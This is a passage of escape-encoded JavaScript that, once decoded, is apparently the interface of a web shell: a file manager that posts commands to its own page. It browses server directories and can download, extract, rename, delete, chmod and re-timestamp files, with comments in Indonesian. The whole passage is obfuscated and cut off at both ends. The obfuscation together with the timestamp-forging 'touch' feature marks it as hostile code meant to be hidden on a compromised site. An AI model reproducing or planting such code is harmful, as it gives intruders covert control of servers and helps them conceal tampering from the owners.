141\x20\75\40\156\x65\167\x20\x46\157\x72\155\104\141\x74\x61\x28\x29\73\xd\12\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x66\157\162\x6d\104\x61\x74\141\x2e\141\160\160\145\x6e\x64\x28\47\x61\x63\x74\151\157\x6e\47\54\x20\x61\143\164\x69\x6f\x6e\x29\x3b\15\xa\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\x66\x6f\x72\40\50\154\x65\164\x20\153\145\x79\x20\x69\156\40\144\x61\164\141\51\40\x7b\15\12\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\146\157\162\x6d\104\141\x74\141\56\141\x70\x70\145\156\144\50\x6b\x65\171\x2c\x20\x64\141\164\x61\133\x6b\x65\x79\135\51\x3b\xd\12\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\175\15\xa\xd\12\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\x66\145\x74\143\x68\50\x77\x69\156\x64\157\167\56\x6c\157\x63\141\164\151\157\156\x2e\x68\x72\145\x66\x2c\40\173\xd\12\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\155\145\164\150\x6f\x64\72\40\47\x50\x4f\x53\124\x27\x2c\xd\xa\40\40\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\40\142\x6f\144\171\x3a\x20\x66\157\162\155\104\141\x74\x61\xd\xa\40\40\x20\x20\x20\40\x20\40\x20\x20\40\40\175\x29\xd\xa\x20\40\x20\40\x20\40\x20\40\40\40\x20\40\x2e\x74\150\145\156\x28\162\x65\x73\x70\x6f\156\163\145\40\x3d\x3e\40\x72\145\163\160\x6f\156\163\x65\56\152\x73\157\156\x28\x29\x29\15\xa\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\56\164\x68\x65\x6e\x28\x63\x61\x6c\154\x62\x61\x63\153\51\15\12\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\x2e\x63\141\164\x63\x68\x28\x65\162\162\157\162\40\x3d\x3e\x20\x7b\15\12\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\143\x6f\x6e\x73\x6f\154\145\56\145\162\x72\157\162\50\x27\x45\162\x72\x6f\x72\72\x27\54\x20\x65\x72\162\157\162\x29\x3b\xd\12\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x73\x68\157\x77\x50\x6f\x70\165\160\x28\x27\x45\162\x72\x6f\x72\72\40\x27\x20\53\x20\x65\162\162\157\162\56\x6d\145\163\163\x61\x67\x65\x2c\x20\47\x65\x72\x72\157\162\47\x29\x3b\15\xa\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x7d\x29\x3b\xd\xa\40\x20\x20\40\x20\x20\x20\x20\175\15\12\xd\12\x20\40\x20\x20\x20\x20\40\40\146\165\156\143\164\151\x6f\x6e\40\x73\150\157\167\120\x6f\160\x75\160\x28\x6d\145\163\163\141\147\145\54\x20\164\x79\160\145\x29\x20\x7b\xd\12\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x63\x6f\156\x73\164\40\160\x6f\x70\165\x70\x20\75\40\x64\157\x63\x75\x6d\145\x6e\x74\56\x63\162\x65\x61\x74\x65\105\x6c\x65\x6d\145\156\164\50\47\144\151\x76\47\x29\x3b\xd\12\40\40\40\40\40\x20\40\40\40\x20\40\x20\160\157\x70\165\160\56\x63\x6c\141\x73\163\x4e\x61\x6d\x65\x20\x3d\40\x60\x70\157\160\165\x70\40\44\x7b\164\x79\x70\145\175\x60\x3b\xd\12\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x70\x6f\x70\165\160\56\164\x65\x78\x74\103\x6f\x6e\164\145\x6e\x74\40\x3d\40\155\x65\x73\163\141\x67\x65\x3b\15\xa\x20\40\40\x20\40\x20\x20\40\40\x20\40\40\x64\x6f\x63\165\155\x65\156\164\x2e\x62\x6f\x64\x79\56\141\160\x70\145\x6e\144\103\x68\x69\154\144\50\160\x6f\x70\165\160\51\73\xd\xa\40\x20\40\40\x20\x20\40\x20\40\x20\40\x20\163\x65\164\124\x69\155\x65\157\x75\x74\x28\x28\51\40\75\x3e\x20\x70\157\160\165\x70\56\x72\145\x6d\157\166\x65\50\51\54\x20\x33\x30\60\x30\51\x3b\xd\xa\40\40\x20\40\40\40\40\40\x7d\15\xa\xd\12\x20\40\x20\40\x20\x20\x20\40\146\165\x6e\x63\164\x69\x6f\156\x20\157\160\x65\156\x4d\x6f\144\x61\x6c\50\143\x6f\x6e\164\145\156\164\51\40\173\15\12\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x64\x6f\x63\165\155\x65\x6e\164\56\147\145\164\x45\154\x65\x6d\145\156\x74\102\x79\x49\x64\50\x27\x6d\157\144\141\154\102\x6f\144\x79\47\51\56\151\156\156\x65\x72\x48\x54\115\114\x20\x3d\40\143\157\x6e\x74\145\156\164\73\xd\xa\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x64\157\x63\165\x6d\x65\156\x74\56\147\145\x74\105\x6c\x65\x6d\x65\156\x74\x42\x79\x49\144\50\47\x6d\x6f\x64\141\154\47\x29\56\x73\164\x79\x6c\x65\56\x64\x69\x73\160\x6c\x61\x79\x20\75\40\x27\x66\154\x65\170\47\x3b\xd\12\x20\40\40\40\40\x20\40\40\x7d\15\xa\15\12\x20\x20\40\x20\x20\40\40\x20\146\165\156\x63\164\151\x6f\x6e\40\x63\x6c\157\163\145\115\157\x64\141\x6c\50\x29\40\x7b\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x64\157\x63\x75\155\x65\x6e\164\56\147\x65\164\x45\x6c\x65\155\145\x6e\164\102\x79\x49\144\50\47\155\x6f\144\x61\x6c\x27\x29\x2e\163\x74\171\154\x65\56\x64\151\x73\160\154\141\x79\40\x3d\x20\47\156\157\x6e\145\47\73\15\12\x20\40\40\40\40\40\40\x20\x7d\15\12\xd\12\40\40\x20\x20\x20\x20\40\x20\146\165\156\143\x74\151\157\x6e\40\147\157\x48\157\155\145\x28\x29\40\173\15\12\x20\40\x20\40\x20\x20\x20\40\x20\40\40\x20\141\x6a\x61\170\x28\47\x6c\x69\163\164\x27\x2c\x20\x7b\x20\x70\x61\x74\x68\72\40\x27\47\x20\x7d\54\x20\x66\x75\156\x63\164\151\x6f\x6e\x28\162\x65\x73\x70\157\x6e\x73\145\x29\x20\173\15\xa\40\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\x69\x66\x20\50\x72\x65\163\160\157\x6e\163\145\56\163\165\x63\x63\x65\163\163\51\40\173\15\12\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x63\x75\x72\x72\x65\x6e\164\120\141\164\150\40\x3d\x20\162\x65\x73\x70\157\x6e\163\x65\x2e\160\x61\x74\x68\73\xd\12\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\144\151\163\x70\x6c\141\171\106\151\x6c\145\x73\x28\x72\x65\x73\x70\157\x6e\163\145\x29\73\15\12\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\x7d\xd\12\x20\40\40\40\40\40\x20\x20\40\40\x20\40\175\x29\73\15\xa\x20\x20\40\x20\40\40\40\40\175\xd\xa\15\12\40\x20\40\x20\x20\x20\x20\x20\x66\165\156\x63\x74\x69\157\x6e\40\x6c\157\141\x64\x46\151\x6c\145\x73\x28\51\40\173\xd\xa\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\141\152\x61\170\50\x27\x6c\151\x73\164\47\x2c\40\x7b\x20\160\141\164\150\x3a\40\x63\x75\x72\162\145\156\164\120\141\x74\x68\40\175\54\40\x66\x75\156\143\x74\151\157\156\x28\162\145\163\x70\157\x6e\x73\145\x29\x20\173\xd\12\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\151\146\40\50\x72\145\x73\x70\157\156\163\145\56\163\165\x63\x63\145\x73\x73\51\x20\173\xd\xa\x20\x20\40\40\40\40\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\x63\x75\162\162\145\x6e\x74\x50\141\164\150\40\x3d\40\162\145\x73\160\x6f\x6e\x73\x65\56\160\141\x74\150\x3b\15\12\40\x20\40\40\40\40\40\40\40\x20\40\40\40\x20\40\x20\x20\x20\x20\40\144\x69\163\160\x6c\x61\171\106\151\154\x65\163\x28\162\x65\163\x70\157\x6e\163\x65\51\x3b\xd\12\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\175\x20\x65\x6c\x73\x65\40\173\xd\xa\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\40\x20\x73\x68\157\167\120\157\160\x75\160\x28\162\145\x73\x70\157\156\x73\145\x2e\155\x65\x73\163\x61\147\x65\54\40\x27\x65\x72\162\157\x72\47\x29\73\15\xa\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x7d\xd\xa\40\x20\40\40\x20\40\40\x20\40\40\x20\40\x7d\x29\73\xd\12\x20\40\40\40\x20\x20\40\40\175\xd\xa\xd\xa\40\40\40\x20\x20\40\x20\x20\146\165\156\143\164\151\x6f\156\40\165\x70\x64\141\x74\x65\x42\162\145\x61\144\143\162\x75\155\x62\x28\x70\141\x74\x68\x29\x20\173\15\xa\x20\40\40\x20\x63\x6f\x6e\x73\164\40\142\162\x65\x61\144\143\x72\165\x6d\x62\40\75\x20\x64\x6f\x63\165\x6d\145\x6e\x74\56\147\145\164\x45\154\x65\155\145\156\x74\x42\171\111\x64\50\x27\142\162\x65\x61\144\x63\x72\x75\x6d\142\x27\x29\73\15\12\15\12\x20\40\x20\x20\x2f\57\x20\x4b\141\154\x61\x75\40\153\157\x73\x6f\156\147\x2c\40\142\x65\x72\x61\x72\x74\151\x20\110\x6f\155\x65\40\x28\x73\143\x72\x69\x70\x74\x20\x64\x69\x72\145\143\164\157\x72\171\51\15\xa\40\x20\x20\40\151\x66\x20\50\41\160\141\164\150\40\x7c\174\x20\x70\x61\x74\x68\x20\75\75\x3d\40\47\47\51\40\173\xd\xa\40\40\x20\40\40\40\x20\x20\x62\x72\145\x61\144\x63\x72\x75\x6d\x62\x2e\x69\x6e\x6e\145\162\x48\124\115\114\40\75\40\x27\74\163\160\x61\156\40\157\156\x63\x6c\151\x63\153\75\42\156\x61\166\151\x67\141\x74\x65\x28\134\x27\x5c\47\51\x22\x3e\x3c\x2f\163\x70\x61\x6e\76\x27\73\xd\12\40\x20\x20\40\40\40\x20\40\162\x65\x74\x75\162\156\73\xd\12\x20\40\40\40\x7d\15\xa\xd\xa\40\40\40\x20\57\57\40\x44\x65\x74\x65\153\163\x69\40\127\151\x6e\144\157\167\x73\x20\141\164\x61\x75\x20\125\156\x69\170\55\154\151\153\x65\xd\12\x20\x20\40\40\143\x6f\x6e\x73\x74\40\151\x73\127\151\x6e\x64\157\167\163\x50\x61\x74\x68\40\x3d\x20\57\136\x5b\x61\55\172\x41\x2d\132\135\x3a\x5b\x5c\134\57\x5d\x2f\56\x74\x65\x73\164\50\160\x61\164\x68\51\x3b\xd\xa\x20\40\40\40\x63\x6f\x6e\163\x74\40\x73\x65\160\141\162\141\164\x6f\162\40\x3d\40\151\163\127\x69\156\x64\157\167\x73\x50\141\x74\x68\x20\77\x20\47\x5c\134\x27\40\72\40\47\x2f\47\x3b\15\xa\xd\xa\x20\40\x20\40\x6c\x65\164\40\x68\164\155\x6c\x20\x3d\40\x27\74\163\x70\141\156\x20\x6f\x6e\143\x6c\151\143\153\x3d\x22\x6e\141\x76\x69\x67\141\x74\145\50\x5c\x27\134\x27\x29\42\x3e\74\57\x73\x70\x61\156\x3e\x27\73\xd\xa\40\40\40\40\x6c\145\164\40\143\x75\155\x50\141\x74\x68\73\xd\12\15\xa\40\x20\40\x20\151\x66\40\x28\x69\163\127\151\x6e\144\157\167\x73\x50\141\164\150\x29\x20\173\xd\12\x20\x20\x20\x20\x20\x20\40\40\57\57\40\103\x6f\x6e\x74\157\150\72\x20\x43\72\134\125\x73\x65\162\163\x5c\116\x61\x6d\141\134\x46\x6f\x6c\144\x65\x72\xd\xa\40\x20\40\40\x20\x20\40\x20\x63\x6f\156\163\x74\x20\x64\162\x69\x76\x65\x4d\x61\x74\143\150\40\75\x20\160\141\x74\x68\56\x6d\x61\164\143\150\x28\x2f\x5e\x28\133\x61\x2d\x7a\x41\55\132\135\72\x5b\x5c\x5c\x2f\x5d\51\x2f\x29\73\xd\xa\40\40\x20\x20\40\x20\x20\x20\x63\165\155\120\141\164\150\40\75\40\x64\162\151\166\x65\115\141\x74\143\x68\x5b\x31\135\56\x72\x65\160\154\x61\143\145\50\47\x2f\x27\54\40\163\x65\x70\141\162\141\164\157\x72\51\56\x72\x65\160\x6c\x61\x63\x65\50\x27\x5c\134\47\x2c\40\x73\x65\x70\141\x72\141\164\157\x72\51\x3b\x20\57\57\x20\x22\x43\72\134\x22\15\12\15\12\x20\x20\x20\x20\40\40\x20\40\57\x2f\x20\x54\141\155\x70\x69\154\153\x61\156\40\144\162\151\166\x65\xd\12\40\40\x20\x20\x20\40\x20\x20\x68\x74\x6d\154\40\x2b\x3d\40\140\x20\x3c\163\x70\x61\x6e\40\143\154\x61\x73\163\x3d\x22\x62\x72\x65\141\x64\x63\x72\x75\155\x62\x2d\163\145\x70\x61\162\x61\x74\157\x72\x22\76\44\x7b\x73\145\x70\141\162\x61\164\157\x72\x7d\x3c\x2f\x73\160\141\x6e\76\x20\140\x3b\15\12\40\x20\x20\40\40\40\40\40\x68\x74\155\154\40\53\75\x20\x60\x3c\x73\x70\x61\x6e\40\x6f\x6e\143\154\151\143\x6b\x3d\42\156\x61\166\x69\147\141\164\145\50\x27\44\173\x63\x75\155\120\x61\x74\x68\175\x27\x29\42\76\x24\173\143\x75\155\120\x61\164\x68\x7d\74\x2f\x73\160\x61\156\x3e\x60\73\15\12\15\12\40\x20\x20\x20\x20\x20\40\x20\x63\x6f\x6e\163\164\40\160\x61\162\164\163\x20\x3d\x20\x70\141\164\x68\56\x73\154\151\x63\x65\x28\143\x75\155\x50\141\164\150\x2e\x6c\145\156\147\x74\x68\x29\x2e\x73\x70\x6c\x69\x74\x28\x2f\133\134\134\57\x5d\57\x29\56\146\x69\x6c\164\x65\x72\50\160\40\x3d\76\x20\x70\51\x3b\15\12\xd\12\40\40\40\x20\x20\x20\40\x20\x70\x61\162\x74\163\x2e\146\157\x72\105\141\x63\x68\50\x70\141\x72\x74\40\x3d\76\x20\x7b\15\12\x20\x20\40\40\40\x20\40\40\40\x20\40\x20\151\146\40\x28\x21\x63\x75\155\120\x61\164\x68\56\x65\x6e\144\x73\x57\x69\164\150\x28\163\145\x70\x61\162\141\164\157\162\x29\x29\x20\173\xd\xa\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\x20\40\x63\x75\155\x50\141\x74\150\x20\53\75\x20\x73\x65\x70\141\x72\x61\164\157\162\x3b\15\12\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\x7d\15\xa\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\143\x75\x6d\x50\141\164\x68\40\x2b\75\x20\x70\x61\162\x74\x3b\15\xa\40\x20\40\x20\x20\x20\x20\40\40\40\40\x20\150\x74\155\154\40\x2b\x3d\x20\140\x20\x3c\163\x70\x61\156\x20\143\x6c\x61\x73\163\x3d\x22\142\162\145\x61\x64\x63\162\165\155\x62\55\163\x65\160\x61\162\x61\x74\157\x72\42\76\x24\173\163\x65\x70\x61\162\x61\164\x6f\x72\175\74\57\163\160\141\156\76\40\140\73\xd\12\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x68\164\x6d\154\40\53\75\x20\140\74\x73\x70\141\x6e\x20\157\156\143\154\x69\x63\x6b\x3d\42\x6e\x61\166\151\147\141\164\145\50\47\x24\173\143\x75\155\120\141\x74\x68\175\47\x29\x22\76\x24\173\x70\141\x72\x74\x7d\x3c\57\x73\160\x61\156\76\140\x3b\15\xa\x20\x20\40\40\x20\40\x20\40\x7d\x29\73\xd\xa\x20\x20\x20\x20\175\x20\145\154\x73\145\x20\173\15\xa\40\40\40\x20\40\40\x20\40\x2f\x2f\40\125\156\x69\x78\x2d\154\x69\153\145\x3a\x20\x2f\x76\141\x72\57\167\x77\167\57\150\164\155\154\57\144\x69\x72\15\xa\x20\40\x20\40\x20\40\x20\x20\x63\157\156\163\x74\40\x70\141\x72\x74\163\40\75\x20\x70\x61\x74\150\x2e\163\x70\x6c\x69\164\x28\x27\57\x27\x29\x2e\146\151\154\x74\145\x72\x28\160\40\75\x3e\x20\160\x29\x3b\xd\xa\x20\x20\x20\x20\x20\40\40\x20\143\165\x6d\120\141\x74\x68\40\75\x20\x27\47\x3b\15\xa\xd\12\x20\x20\x20\x20\x20\x20\x20\40\x70\141\x72\x74\x73\56\146\157\162\x45\x61\143\150\x28\160\141\x72\x74\x20\x3d\x3e\x20\173\15\12\40\40\x20\40\40\40\40\40\40\40\40\x20\x63\x75\x6d\x50\141\x74\x68\40\53\x3d\40\47\57\x27\40\53\40\160\141\162\x74\x3b\x20\x2f\x2f\40\x68\x61\x73\x69\x6c\72\x20\57\166\x61\x72\x2c\40\57\x76\x61\x72\57\167\167\167\x2c\40\x2f\166\x61\162\57\x77\167\167\x2f\150\164\155\154\x2c\x20\144\x73\164\15\12\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\x68\x74\x6d\x6c\40\53\x3d\40\47\x20\x3c\x73\x70\141\x6e\40\143\154\x61\163\x73\x3d\x22\x62\x72\145\x61\144\x63\162\165\x6d\x62\x2d\163\145\x70\141\162\141\x74\x6f\162\x22\x3e\x2f\x3c\57\x73\160\x61\x6e\x3e\40\x27\73\15\xa\40\x20\40\40\40\40\x20\x20\x20\40\40\x20\x68\x74\155\x6c\x20\53\x3d\40\140\x3c\x73\x70\141\x6e\40\157\x6e\143\x6c\151\x63\x6b\75\x22\156\141\x76\x69\x67\141\x74\x65\x28\47\x24\x7b\x63\165\x6d\x50\141\164\x68\x7d\x27\51\42\x3e\44\173\160\141\162\x74\x7d\74\x2f\x73\x70\141\x6e\76\x60\73\15\12\40\x20\40\x20\x20\40\x20\x20\x7d\51\73\xd\xa\40\40\40\40\x7d\15\xa\15\12\x20\40\x20\x20\x62\x72\145\x61\144\143\162\165\155\142\56\151\x6e\156\145\162\x48\124\115\114\x20\x3d\x20\x68\x74\x6d\154\x3b\xd\12\175\xd\xa\xd\12\15\xa\40\40\40\x20\40\x20\x20\40\x66\x75\156\143\x74\151\157\156\x20\144\x69\x73\x70\154\141\x79\106\151\x6c\145\163\x28\162\x65\x73\160\157\156\163\x65\51\40\x7b\15\12\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\x75\x70\144\141\x74\x65\x42\x72\145\x61\x64\143\162\x75\x6d\142\50\x72\145\163\160\x6f\x6e\163\145\x2e\160\141\164\150\51\x3b\15\12\x20\40\x20\x20\40\40\x20\40\x20\x20\40\40\xd\12\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\154\x65\x74\40\x68\164\x6d\154\x20\x3d\40\x27\47\73\15\12\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\x69\146\x20\x28\x72\145\x73\x70\157\x6e\163\145\x2e\x70\x61\x72\x65\x6e\164\40\41\x3d\x3d\40\x6e\x75\154\x6c\x29\40\x7b\15\12\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\x68\x74\x6d\x6c\x20\53\x3d\x20\x60\74\x74\162\x20\x6f\x6e\143\154\151\x63\153\x3d\x22\156\141\x76\151\147\141\x74\x65\50\47\x24\173\162\145\x73\160\157\x6e\x73\x65\x2e\160\x61\x72\x65\x6e\x74\175\x27\x29\42\76\xd\xa\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\x3c\164\x64\x20\x63\x6c\141\163\x73\75\x22\146\157\x6c\x64\x65\x72\42\x20\x73\x74\x79\x6c\x65\x3d\x22\143\165\162\x73\x6f\162\72\160\x6f\x69\x6e\x74\x65\x72\73\x22\x3e\360\237\223\201\x20\56\56\x3c\57\x74\x64\76\xd\12\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\x20\74\x74\144\76\x2d\74\x2f\x74\x64\x3e\xd\12\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\74\164\144\x3e\55\74\x2f\x74\x64\76\15\xa\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\74\x74\x64\x3e\x2d\x3c\57\164\144\76\xd\12\40\x20\x20\40\40\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\74\164\x64\76\55\x3c\x2f\164\x64\x3e\15\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\x3c\57\164\x72\76\140\x3b\xd\12\40\x20\x20\40\40\40\40\40\40\40\x20\x20\175\xd\12\40\40\40\x20\40\x20\x20\x20\40\40\40\40\xd\xa\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\x72\145\163\160\157\156\x73\145\56\146\x69\154\x65\x73\x2e\146\x6f\162\x45\141\143\150\x28\146\x69\154\145\40\75\76\x20\x7b\xd\12\40\x20\40\40\40\40\40\x20\40\40\x20\40\40\x20\40\x20\x63\x6f\x6e\163\x74\40\151\143\x6f\156\x20\x3d\40\146\x69\x6c\x65\56\x74\171\160\x65\x20\75\75\x3d\x20\47\x64\x69\162\47\x20\x3f\40\x27\360\x9f\x93\201\x27\x20\72\x20\47\xf0\237\223\204\47\x3b\xd\xa\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\x20\x20\40\40\143\157\156\163\164\40\143\154\141\x73\x73\116\141\155\145\x20\75\x20\x66\x69\x6c\145\56\x74\171\160\145\x20\x3d\x3d\x3d\40\47\144\x69\162\47\40\77\40\47\146\x6f\154\x64\x65\x72\x27\40\72\x20\47\146\151\x6c\x65\47\x3b\xd\xa\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\x63\x6f\x6e\163\164\40\167\162\x69\x74\x61\x62\x6c\x65\x43\154\x61\x73\x73\40\75\x20\146\x69\x6c\145\x2e\x77\162\x69\164\141\x62\x6c\x65\x20\77\x20\47\x77\x72\151\x74\141\x62\x6c\x65\47\40\72\x20\x27\162\x65\141\144\157\156\x6c\171\47\73\15\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x63\x6f\x6e\x73\164\40\x6f\156\x63\x6c\151\143\x6b\40\75\40\x66\151\154\x65\x2e\x74\171\x70\145\40\75\75\75\40\47\x64\151\162\x27\40\77\x20\x60\x6e\141\x76\x69\x67\x61\x74\145\50\47\44\x7b\x66\151\x6c\x65\56\160\141\x74\150\175\x27\51\x60\x20\72\40\x60\x65\x64\151\x74\x46\x69\x6c\145\50\x27\x24\x7b\x66\151\x6c\x65\x2e\160\141\164\150\x7d\x27\51\x60\73\15\12\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\40\40\40\x20\15\xa\x20\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\x20\143\x6f\156\x73\x74\40\x65\170\x74\162\141\x63\x74\102\164\156\40\x3d\40\146\x69\154\145\56\151\x73\137\141\x72\x63\150\151\x76\x65\x20\77\x20\140\74\x62\x75\x74\164\157\156\40\143\154\x61\x73\163\75\42\x62\164\x6e\42\40\157\x6e\143\x6c\151\x63\153\75\x22\x65\x76\x65\156\164\56\163\164\157\x70\120\162\x6f\x70\x61\x67\x61\x74\151\x6f\x6e\x28\x29\73\40\x65\x78\x74\162\141\x63\x74\106\x69\x6c\x65\50\47\x24\173\146\x69\x6c\x65\x2e\160\141\x74\150\175\47\51\x22\x3e\105\x78\x74\x72\x61\x63\x74\74\57\142\x75\x74\x74\x6f\x6e\x3e\x60\40\x3a\40\x27\x27\73\xd\xa\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\x20\xd\12\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\150\164\155\x6c\x20\x2b\x3d\x20\140\74\164\x72\x3e\xd\xa\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\74\x74\144\40\143\x6c\141\x73\x73\75\42\x24\x7b\143\154\141\163\163\116\x61\x6d\145\175\x20\44\x7b\167\162\151\x74\141\x62\154\x65\x43\x6c\x61\x73\163\x7d\42\40\157\x6e\143\154\151\x63\x6b\75\x22\44\x7b\x6f\156\143\x6c\151\143\153\175\42\x20\x73\164\x79\154\x65\x3d\42\143\165\x72\x73\157\162\72\x70\157\x69\156\164\145\x72\x3b\x22\76\44\x7b\x69\143\x6f\x6e\175\40\x24\173\x66\151\x6c\x65\x2e\156\141\x6d\x65\175\74\x2f\x74\144\76\15\xa\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\74\164\144\x3e\x24\x7b\146\x69\x6c\145\56\x73\151\172\145\x7d\x3c\57\164\144\76\xd\12\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\74\164\144\x20\x6f\x6e\x63\154\x69\143\153\x3d\x22\163\150\x6f\x77\x43\x68\x6d\x6f\144\50\x27\44\x7b\146\151\154\x65\x2e\160\x61\164\150\x7d\47\x2c\40\47\44\173\146\151\x6c\x65\x2e\160\145\162\155\x73\175\x27\51\x22\40\x73\164\171\x6c\x65\x3d\42\143\165\162\x73\x6f\x72\x3a\160\157\x69\156\164\x65\x72\73\x20\143\157\x6c\157\x72\72\40\x23\67\60\67\x30\141\x30\x3b\x22\x3e\44\x7b\x66\151\154\145\x2e\160\x65\x72\155\x73\175\x3c\57\x74\144\76\15\12\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\40\40\40\x3c\164\x64\x20\x6f\x6e\x63\x6c\x69\x63\x6b\75\x22\x73\150\x6f\x77\124\x6f\165\x63\x68\50\47\x24\173\x66\151\154\x65\56\160\x61\164\150\175\x27\54\40\x27\x24\173\146\151\154\145\56\155\x6f\144\x69\x66\x69\x65\144\137\144\151\x73\x70\x6c\141\171\175\x27\51\x22\40\x73\164\171\154\145\x3d\x22\143\165\162\163\x6f\x72\72\x70\x6f\x69\x6e\164\145\162\73\40\x63\x6f\154\x6f\162\72\40\x23\x37\x30\67\x30\141\x30\73\42\76\44\x7b\x66\151\154\145\56\x6d\x6f\144\151\146\x69\x65\x64\137\x64\151\x73\x70\154\x61\x79\175\x3c\x2f\164\x64\x3e\15\xa\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\74\x74\144\x3e\xd\12\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\40\40\x3c\144\x69\166\40\143\154\x61\x73\163\x3d\42\141\143\x74\151\x6f\156\x2d\x62\x74\156\163\x22\x3e\15\xa\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\44\173\x66\151\x6c\145\x2e\164\x79\160\145\x20\x3d\x3d\x3d\40\47\146\151\x6c\x65\x27\40\x3f\40\140\x3c\x62\x75\164\x74\x6f\x6e\40\x63\x6c\141\x73\x73\x3d\42\142\164\156\x22\40\157\156\143\154\x69\x63\153\x3d\x22\145\166\145\x6e\x74\x2e\163\x74\x6f\160\120\x72\x6f\160\141\x67\141\x74\x69\x6f\x6e\50\51\x3b\40\x64\157\167\156\x6c\157\141\x64\x46\151\x6c\145\x28\47\44\x7b\146\151\x6c\145\56\x70\141\164\150\175\47\x29\42\76\x44\157\x77\156\154\x6f\x61\144\x3c\57\x62\165\x74\164\x6f\x6e\x3e\x60\x20\72\x20\47\47\175\xd\xa\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\x24\173\145\x78\x74\x72\x61\143\164\102\164\x6e\x7d\15\xa\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x3c\142\165\164\164\x6f\x6e\x20\143\154\x61\x73\x73\x3d\42\142\x74\156\42\40\x6f\x6e\x63\x6c\x69\143\153\x3d\x22\145\166\145\156\164\56\x73\164\x6f\160\x50\x72\157\160\141\x67\x61\x74\151\157\x6e\x28\51\x3b\40\163\150\157\x77\x52\x65\x6e\x61\x6d\145\x28\47\44\x7b\x66\151\x6c\145\56\160\141\164\x68\x7d\47\54\x20\x27\44\173\x66\151\154\145\56\156\x61\155\145\175\x27\x29\x22\76\122\145\156\141\155\145\x3c\x2f\142\165\x74\x74\157\x6e\x3e\15\12\x20\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\74\x62\x75\x74\x74\x6f\x6e\40\143\154\x61\163\x73\75\42\142\x74\156\40\142\x74\x6e\x2d\x64\141\156\147\145\x72\x22\x20\157\156\x63\154\x69\143\153\75\x22\145\166\x65\156\164\56\x73\164\157\x70\x50\162\157\160\x61\147\x61\x74\x69\157\156\50\x29\x3b\x20\x63\157\x6e\x66\x69\162\x6d\104\x65\154\145\x74\x65\50\47\x24\x7b\146\x69\154\x65\56\x70\x61\164\x68\175\x27